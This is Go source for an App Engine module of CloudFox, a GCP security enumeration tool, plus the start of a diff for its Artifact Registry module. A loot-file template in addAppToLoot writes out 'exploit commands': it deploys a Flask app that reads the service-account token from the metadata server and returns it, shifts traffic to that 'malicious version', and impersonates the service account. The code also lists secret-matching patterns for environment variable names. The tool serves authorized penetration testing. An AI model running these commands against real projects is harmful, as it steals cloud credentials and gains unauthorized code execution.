Use: GCP_APPENGINE_MODULE_NAME,
|
||||
Aliases: []string{"appengine", "gae"},
|
||||
Short: "Enumerate App Engine applications and security configurations",
|
||||
Long: `Analyze App Engine applications for security configurations and potential issues.
|
||||
|
||||
Features:
|
||||
- Lists all App Engine services and versions
|
||||
- Identifies public services without authentication
|
||||
- Analyzes ingress settings and firewall rules
|
||||
- Detects environment variable secrets
|
||||
- Reviews service account configurations
|
||||
- Identifies deprecated runtimes
|
||||
- Analyzes traffic splitting configurations`,
|
||||
Run: runGCPAppEngineCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Data Structures
|
||||
// ------------------------------
|
||||
|
||||
type AppEngineApp struct {
|
||||
ProjectID string
|
||||
ID string
|
||||
LocationID string
|
||||
AuthDomain string
|
||||
DefaultHostname string
|
||||
ServingStatus string
|
||||
DefaultBucket string
|
||||
ServiceAccount string
|
||||
DispatchRules int
|
||||
FirewallRules int
|
||||
}
|
||||
|
||||
type AppEngineService struct {
|
||||
ProjectID string
|
||||
ID string
|
||||
AppID string
|
||||
Split map[string]float64
|
||||
DefaultURL string
|
||||
VersionCount int
|
||||
LatestVersion string
|
||||
}
|
||||
|
||||
type AppEngineVersion struct {
|
||||
ProjectID string
|
||||
ServiceID string
|
||||
ID string
|
||||
AppID string
|
||||
Runtime string
|
||||
Environment string
|
||||
ServingStatus string
|
||||
CreateTime string
|
||||
InstanceClass string
|
||||
Scaling string
|
||||
Network string
|
||||
VPCConnector string
|
||||
IngressSettings string
|
||||
EnvVarCount int
|
||||
SecretEnvVars int
|
||||
ServiceAccount string
|
||||
URL string
|
||||
DeprecatedRuntime bool
|
||||
DefaultSA bool
|
||||
Public bool
|
||||
}
|
||||
|
||||
type AppEngineFirewallRule struct {
|
||||
ProjectID string
|
||||
Priority int64
|
||||
Action string
|
||||
SourceRange string
|
||||
Description string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type AppEngineModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Per-project data for hierarchical output
|
||||
ProjectApps map[string][]AppEngineApp
|
||||
ProjectServices map[string][]AppEngineService
|
||||
ProjectVersions map[string][]AppEngineVersion
|
||||
ProjectFirewallRules map[string][]AppEngineFirewallRule
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
|
||||
mu sync.Mutex
|
||||
|
||||
totalApps int
|
||||
totalServices int
|
||||
publicCount int
|
||||
secretsFound int
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type AppEngineOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AppEngineOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AppEngineOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPAppEngineCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_APPENGINE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &AppEngineModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectApps: make(map[string][]AppEngineApp),
|
||||
ProjectServices: make(map[string][]AppEngineService),
|
||||
ProjectVersions: make(map[string][]AppEngineVersion),
|
||||
ProjectFirewallRules: make(map[string][]AppEngineFirewallRule),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get FoxMapper cache from context
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
|
||||
logger.InfoM("Enumerating App Engine applications...", GCP_APPENGINE_MODULE_NAME)
|
||||
|
||||
aeService, err := appengine.NewService(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to create App Engine service: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
wg.Add(1)
|
||||
go func(project string) {
|
||||
defer wg.Done()
|
||||
m.processProject(ctx, project, aeService, logger)
|
||||
}(projectID)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
if m.totalApps == 0 {
|
||||
logger.InfoM("No App Engine applications found", GCP_APPENGINE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d App Engine app(s) with %d service(s) and %d version(s)",
|
||||
m.totalApps, m.totalServices, len(m.getAllVersions())), GCP_APPENGINE_MODULE_NAME)
|
||||
|
||||
if m.publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d public service(s) without authentication", m.publicCount), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
if m.secretsFound > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d potential secret(s) in environment variables", m.secretsFound), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) processProject(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating App Engine for project: %s", projectID), GCP_APPENGINE_MODULE_NAME)
|
||||
}
|
||||
|
||||
app, err := aeService.Apps.Get(projectID).Do()
|
||||
if err != nil {
|
||||
if !strings.Contains(err.Error(), "404") {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not get App Engine app in project %s", projectID))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.totalApps++
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["appengine-commands"] = &internal.LootFile{
|
||||
Name: "appengine-commands",
|
||||
Contents: "# App Engine Commands\n" +
|
||||
"# Generated by CloudFox\n" +
|
||||
"# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
// Add app-level enumeration and exploit commands to loot
|
||||
m.addAppToLoot(projectID, app.Id, app.DefaultHostname, app.LocationId, app.ServiceAccount)
|
||||
m.mu.Unlock()
|
||||
|
||||
appRecord := AppEngineApp{
|
||||
ProjectID: projectID,
|
||||
ID: app.Id,
|
||||
LocationID: app.LocationId,
|
||||
AuthDomain: app.AuthDomain,
|
||||
DefaultHostname: app.DefaultHostname,
|
||||
ServingStatus: app.ServingStatus,
|
||||
DefaultBucket: app.DefaultBucket,
|
||||
ServiceAccount: app.ServiceAccount,
|
||||
}
|
||||
|
||||
if app.DispatchRules != nil {
|
||||
appRecord.DispatchRules = len(app.DispatchRules)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectApps[projectID] = append(m.ProjectApps[projectID], appRecord)
|
||||
m.mu.Unlock()
|
||||
|
||||
m.enumerateServices(ctx, projectID, aeService, logger)
|
||||
m.enumerateFirewallRules(ctx, projectID, aeService, logger)
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateServices(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
services, err := aeService.Apps.Services.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine services in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, svc := range services.Services {
|
||||
m.mu.Lock()
|
||||
m.totalServices++
|
||||
m.mu.Unlock()
|
||||
|
||||
serviceRecord := AppEngineService{
|
||||
ProjectID: projectID,
|
||||
ID: svc.Id,
|
||||
AppID: projectID,
|
||||
}
|
||||
|
||||
if svc.Split != nil {
|
||||
serviceRecord.Split = svc.Split.Allocations
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectServices[projectID] = append(m.ProjectServices[projectID], serviceRecord)
|
||||
m.mu.Unlock()
|
||||
|
||||
ingressSettings := "all"
|
||||
if svc.NetworkSettings != nil && svc.NetworkSettings.IngressTrafficAllowed != "" {
|
||||
ingressSettings = svc.NetworkSettings.IngressTrafficAllowed
|
||||
}
|
||||
|
||||
m.enumerateVersions(ctx, projectID, svc.Id, ingressSettings, aeService, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateVersions(ctx context.Context, projectID, serviceID, ingressSettings string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
versions, err := aeService.Apps.Services.Versions.List(projectID, serviceID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine versions for service %s", serviceID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, ver := range versions.Versions {
|
||||
versionRecord := AppEngineVersion{
|
||||
ProjectID: projectID,
|
||||
ServiceID: serviceID,
|
||||
ID: ver.Id,
|
||||
AppID: projectID,
|
||||
Runtime: ver.Runtime,
|
||||
Environment: ver.Env,
|
||||
ServingStatus: ver.ServingStatus,
|
||||
CreateTime: ver.CreateTime,
|
||||
IngressSettings: ingressSettings,
|
||||
ServiceAccount: ver.ServiceAccount,
|
||||
URL: ver.VersionUrl,
|
||||
}
|
||||
|
||||
if ver.InstanceClass != "" {
|
||||
versionRecord.InstanceClass = ver.InstanceClass
|
||||
}
|
||||
|
||||
if ver.Network != nil {
|
||||
versionRecord.Network = ver.Network.Name
|
||||
}
|
||||
|
||||
if ver.VpcAccessConnector != nil {
|
||||
versionRecord.VPCConnector = ver.VpcAccessConnector.Name
|
||||
}
|
||||
|
||||
// Scaling type
|
||||
if ver.AutomaticScaling != nil {
|
||||
versionRecord.Scaling = "automatic"
|
||||
} else if ver.BasicScaling != nil {
|
||||
versionRecord.Scaling = "basic"
|
||||
} else if ver.ManualScaling != nil {
|
||||
versionRecord.Scaling = "manual"
|
||||
}
|
||||
|
||||
// Check for deprecated runtime
|
||||
versionRecord.DeprecatedRuntime = m.isDeprecatedRuntime(ver.Runtime)
|
||||
|
||||
// Check environment variables for secrets
|
||||
if ver.EnvVariables != nil {
|
||||
versionRecord.EnvVarCount = len(ver.EnvVariables)
|
||||
secretCount := m.analyzeEnvVars(ver.EnvVariables, serviceID, ver.Id, projectID)
|
||||
versionRecord.SecretEnvVars = secretCount
|
||||
}
|
||||
|
||||
// Check ingress settings for public access
|
||||
if versionRecord.IngressSettings == "all" || versionRecord.IngressSettings == "INGRESS_TRAFFIC_ALLOWED_ALL" {
|
||||
versionRecord.Public = true
|
||||
m.mu.Lock()
|
||||
m.publicCount++
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// Check for default service account
|
||||
if versionRecord.ServiceAccount == "" || strings.Contains(versionRecord.ServiceAccount, "@appspot.gserviceaccount.com") {
|
||||
versionRecord.DefaultSA = true
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectVersions[projectID] = append(m.ProjectVersions[projectID], versionRecord)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) enumerateFirewallRules(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
|
||||
rules, err := aeService.Apps.Firewall.IngressRules.List(projectID).Do()
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate App Engine firewall rules in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
for _, rule := range rules.IngressRules {
|
||||
fwRule := AppEngineFirewallRule{
|
||||
ProjectID: projectID,
|
||||
Priority: rule.Priority,
|
||||
Action: rule.Action,
|
||||
SourceRange: rule.SourceRange,
|
||||
Description: rule.Description,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectFirewallRules[projectID] = append(m.ProjectFirewallRules[projectID], fwRule)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
for i := range m.ProjectApps[projectID] {
|
||||
if m.ProjectApps[projectID][i].ProjectID == projectID {
|
||||
m.ProjectApps[projectID][i].FirewallRules = len(rules.IngressRules)
|
||||
break
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) addAppToLoot(projectID, appID, defaultHostname, locationID, serviceAccount string) {
|
||||
lootFile := m.LootMap[projectID]["appengine-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# APP ENGINE: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Location: %s\n"+
|
||||
"# Default Hostname: %s\n"+
|
||||
"# Service Account: %s\n",
|
||||
appID, projectID, locationID, defaultHostname, serviceAccount,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe app:
|
||||
gcloud app describe --project=%s
|
||||
|
||||
# List services:
|
||||
gcloud app services list --project=%s
|
||||
|
||||
# List versions for all services:
|
||||
gcloud app versions list --project=%s
|
||||
|
||||
# List firewall rules:
|
||||
gcloud app firewall-rules list --project=%s
|
||||
|
||||
# Describe specific service:
|
||||
gcloud app services describe default --project=%s
|
||||
|
||||
# View application logs:
|
||||
gcloud app logs read --project=%s --limit=50
|
||||
|
||||
# List dispatch rules:
|
||||
gcloud app describe --project=%s --format=json | jq '.dispatchRules'
|
||||
|
||||
# === EXPLOIT COMMANDS ===
|
||||
|
||||
# Deploy a new version (code execution as App Engine SA: %s):
|
||||
# Create a minimal app.yaml:
|
||||
cat > /tmp/app.yaml << 'APPEOF'
|
||||
runtime: python39
|
||||
instance_class: F1
|
||||
handlers:
|
||||
- url: /.*
|
||||
script: auto
|
||||
APPEOF
|
||||
cat > /tmp/main.py << 'MAINEOF'
|
||||
import requests, json
|
||||
from flask import Flask
|
||||
app = Flask(__name__)
|
||||
@app.route('/')
|
||||
def index():
|
||||
r = requests.get('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'})
|
||||
return json.dumps(r.json())
|
||||
MAINEOF
|
||||
gcloud app deploy /tmp/app.yaml --project=%s --quiet --no-promote
|
||||
|
||||
# Deploy to a specific service:
|
||||
gcloud app deploy /tmp/app.yaml --project=%s --service=cloudfox-test --quiet --no-promote
|
||||
|
||||
# Set traffic to new malicious version:
|
||||
gcloud app services set-traffic default --splits=VERSION_ID=1 --project=%s
|
||||
|
||||
# SSH to App Engine Flex instance (only for flex environment):
|
||||
gcloud app instances ssh INSTANCE_ID --service=SERVICE --version=VERSION --project=%s
|
||||
|
||||
# Access default URL:
|
||||
curl https://%s
|
||||
|
||||
# Impersonate App Engine default service account:
|
||||
gcloud auth print-access-token --impersonate-service-account=%s
|
||||
|
||||
`,
|
||||
projectID, projectID, projectID, projectID, projectID, projectID, projectID,
|
||||
serviceAccount,
|
||||
projectID, projectID, projectID, projectID,
|
||||
defaultHostname, serviceAccount,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) analyzeEnvVars(envVars map[string]string, serviceID, versionID, projectID string) int {
|
||||
secretPatterns := []string{
|
||||
"PASSWORD", "SECRET", "API_KEY", "TOKEN", "PRIVATE_KEY",
|
||||
"DATABASE_URL", "DB_PASSWORD", "MYSQL_PASSWORD", "POSTGRES_PASSWORD",
|
||||
"MONGODB_URI", "AWS_SECRET", "ENCRYPTION_KEY", "JWT_SECRET", "SESSION_SECRET",
|
||||
}
|
||||
|
||||
secretCount := 0
|
||||
|
||||
for name := range envVars {
|
||||
nameUpper := strings.ToUpper(name)
|
||||
for _, pattern := range secretPatterns {
|
||||
if strings.Contains(nameUpper, pattern) {
|
||||
secretCount++
|
||||
m.mu.Lock()
|
||||
m.secretsFound++
|
||||
|
||||
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Potential secret in env var: %s (service: %s, version: %s)\n"+
|
||||
"# Recommendation: Migrate to Secret Manager\n"+
|
||||
"gcloud app versions describe %s --service=%s --project=%s\n\n",
|
||||
name, serviceID, versionID,
|
||||
versionID, serviceID, projectID,
|
||||
)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return secretCount
|
||||
}
|
||||
|
||||
func (m *AppEngineModule) isDeprecatedRuntime(runtime string) bool {
|
||||
deprecatedRuntimes := []string{
|
||||
"python27", "go111", "go112", "go113", "java8", "java11",
|
||||
"nodejs10", "nodejs12", "php55", "php72", "ruby25",
|
||||
}
|
||||
|
||||
for _, deprecated := range deprecatedRuntimes {
|
||||
if runtime == deprecated {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *AppEngineModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getAllVersions returns all versions from all projects
|
||||
func (m *AppEngineModule) getAllVersions() []AppEngineVersion {
|
||||
var all []AppEngineVersion
|
||||
for _, versions := range m.ProjectVersions {
|
||||
all = append(all, versions...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllApps returns all apps from all projects
|
||||
func (m *AppEngineModule) getAllApps() []AppEngineApp {
|
||||
var all []AppEngineApp
|
||||
for _, apps := range m.ProjectApps {
|
||||
all = append(all, apps...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFirewallRules returns all firewall rules from all projects
|
||||
func (m *AppEngineModule) getAllFirewallRules() []AppEngineFirewallRule {
|
||||
var all []AppEngineFirewallRule
|
||||
for _, rules := range m.ProjectFirewallRules {
|
||||
all = append(all, rules...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getTableHeader returns the main appengine table header
|
||||
func (m *AppEngineModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"App ID",
|
||||
"Location",
|
||||
"Status",
|
||||
"Hostname",
|
||||
"Service",
|
||||
"Version",
|
||||
"Runtime",
|
||||
"Environment",
|
||||
"Ingress",
|
||||
"Public",
|
||||
"Service Account",
|
||||
"SA Attack Paths",
|
||||
"Default SA",
|
||||
"Deprecated",
|
||||
"Env Vars",
|
||||
"Secrets",
|
||||
"VPC Connector",
|
||||
"URL",
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds tables for given project data
|
||||
func (m *AppEngineModule) buildTablesForProject(projectID string, apps []AppEngineApp, versions []AppEngineVersion, firewallRules []AppEngineFirewallRule) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
header := m.getTableHeader()
|
||||
var body [][]string
|
||||
|
||||
if len(versions) > 0 {
|
||||
for _, ver := range versions {
|
||||
var app AppEngineApp
|
||||
for _, a := range apps {
|
||||
if a.ProjectID == ver.ProjectID {
|
||||
app = a
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
publicStr := "No"
|
||||
if ver.Public {
|
||||
publicStr = "Yes"
|
||||
}
|
||||
|
||||
defaultSAStr := "No"
|
||||
if ver.DefaultSA {
|
||||
defaultSAStr = "Yes"
|
||||
}
|
||||
|
||||
deprecatedStr := "No"
|
||||
if ver.DeprecatedRuntime {
|
||||
deprecatedStr = "Yes"
|
||||
}
|
||||
|
||||
// Check attack paths (privesc/exfil/lateral) for the service account
|
||||
attackPaths := "run foxmapper"
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
if ver.ServiceAccount != "" {
|
||||
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, ver.ServiceAccount)
|
||||
} else {
|
||||
attackPaths = "No"
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
ver.ProjectID,
|
||||
m.GetProjectName(ver.ProjectID),
|
||||
app.ID,
|
||||
app.LocationID,
|
||||
app.ServingStatus,
|
||||
app.DefaultHostname,
|
||||
ver.ServiceID,
|
||||
ver.ID,
|
||||
ver.Runtime,
|
||||
ver.Environment,
|
||||
ver.IngressSettings,
|
||||
publicStr,
|
||||
ver.ServiceAccount,
|
||||
attackPaths,
|
||||
defaultSAStr,
|
||||
deprecatedStr,
|
||||
fmt.Sprintf("%d", ver.EnvVarCount),
|
||||
fmt.Sprintf("%d", ver.SecretEnvVars),
|
||||
ver.VPCConnector,
|
||||
ver.URL,
|
||||
})
|
||||
|
||||
// Add public services to loot
|
||||
if ver.Public && m.LootMap[projectID] != nil {
|
||||
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Public App Engine service: %s/%s\n"+
|
||||
"curl %s\n\n",
|
||||
ver.ServiceID, ver.ID, ver.URL,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, app := range apps {
|
||||
body = append(body, []string{
|
||||
app.ProjectID,
|
||||
m.GetProjectName(app.ProjectID),
|
||||
app.ID,
|
||||
app.LocationID,
|
||||
app.ServingStatus,
|
||||
app.DefaultHostname,
|
||||
"No services deployed", // Service
|
||||
"-", // Version
|
||||
"-", // Runtime
|
||||
"-", // Environment
|
||||
"-", // Ingress
|
||||
"-", // Public
|
||||
app.ServiceAccount, // Service Account
|
||||
"-", // SA Attack Paths
|
||||
"-", // Default SA
|
||||
"-", // Deprecated
|
||||
"-", // Env Vars
|
||||
"-", // Secrets
|
||||
"-", // VPC Connector
|
||||
"-", // URL
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "appengine",
|
||||
Header: header,
|
||||
Body: body,
|
||||
})
|
||||
|
||||
// Firewall rules table
|
||||
if len(firewallRules) > 0 {
|
||||
var fwBody [][]string
|
||||
for _, rule := range firewallRules {
|
||||
fwBody = append(fwBody, []string{
|
||||
rule.ProjectID,
|
||||
m.GetProjectName(rule.ProjectID),
|
||||
fmt.Sprintf("%d", rule.Priority),
|
||||
rule.Action,
|
||||
rule.SourceRange,
|
||||
rule.Description,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "appengine-firewall",
|
||||
Header: []string{
|
||||
"Project ID",
|
||||
"Project Name",
|
||||
"Priority",
|
||||
"Action",
|
||||
"Source Range",
|
||||
"Description",
|
||||
},
|
||||
Body: fwBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *AppEngineModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectApps {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectsWithData {
|
||||
apps := m.ProjectApps[projectID]
|
||||
versions := m.ProjectVersions[projectID]
|
||||
firewallRules := m.ProjectFirewallRules[projectID]
|
||||
|
||||
tables := m.buildTablesForProject(projectID, apps, versions, firewallRules)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = AppEngineOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *AppEngineModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allApps := m.getAllApps()
|
||||
allVersions := m.getAllVersions()
|
||||
allFirewallRules := m.getAllFirewallRules()
|
||||
|
||||
// Use empty projectID since we're building for all projects
|
||||
tables := m.buildTablesForProject("", allApps, allVersions, allFirewallRules)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AppEngineOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, projectID := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(projectID)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_APPENGINE_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
+552
-136
@@ -1,10 +1,14 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
artifactregistry "cloud.google.com/go/artifactregistry/apiv1"
|
||||
ArtifactRegistryService "github.com/BishopFox/cloudfox/gcp/services/artifactRegistryService"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -12,161 +16,573 @@ import (
|
||||
|
||||
var GCPArtifactRegistryCommand = &cobra.Command{
|
||||
Use: globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
|
||||
Aliases: []string{},
|
||||
Short: "Display GCP artifact registry information",
|
||||
Args: cobra.MinimumNArgs(0),
|
||||
Long: `
|
||||
Display available artifact registry resource information:
|
||||
cloudfox gcp artfact-registry`,
|
||||
Aliases: []string{"ar", "artifacts", "gcr"},
|
||||
Short: "Enumerate GCP Artifact Registry and Container Registry with security configuration",
|
||||
Long: `Enumerate GCP Artifact Registry and legacy Container Registry (gcr.io) with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all Artifact Registry repositories with security configuration
|
||||
- Shows Docker images and package artifacts with tags and digests
|
||||
- Enumerates IAM policies per repository and identifies public repositories
|
||||
- Shows encryption type (Google-managed vs CMEK)
|
||||
- Shows repository mode (standard, virtual, remote)
|
||||
- Generates gcloud commands for artifact enumeration
|
||||
- Generates exploitation commands for artifact access
|
||||
- Enumerates legacy Container Registry (gcr.io) locations
|
||||
|
||||
Security Columns:
|
||||
- Public: Whether the repository has allUsers or allAuthenticatedUsers access
|
||||
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)
|
||||
- Mode: STANDARD_REPOSITORY, VIRTUAL_REPOSITORY, or REMOTE_REPOSITORY
|
||||
- RegistryType: "artifact-registry" or "container-registry" (legacy gcr.io)`,
|
||||
Run: runGCPArtifactRegistryCommand,
|
||||
}
|
||||
|
||||
// Code needed to output fields from buckets results using generic HandleOutput function
|
||||
// ------------------------------
|
||||
// Module Struct with embedded BaseGCPModule
|
||||
// ------------------------------
|
||||
type ArtifactRegistryModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Results struct that implements the internal.OutputInterface
|
||||
type GCPArtifactRegistryResults struct {
|
||||
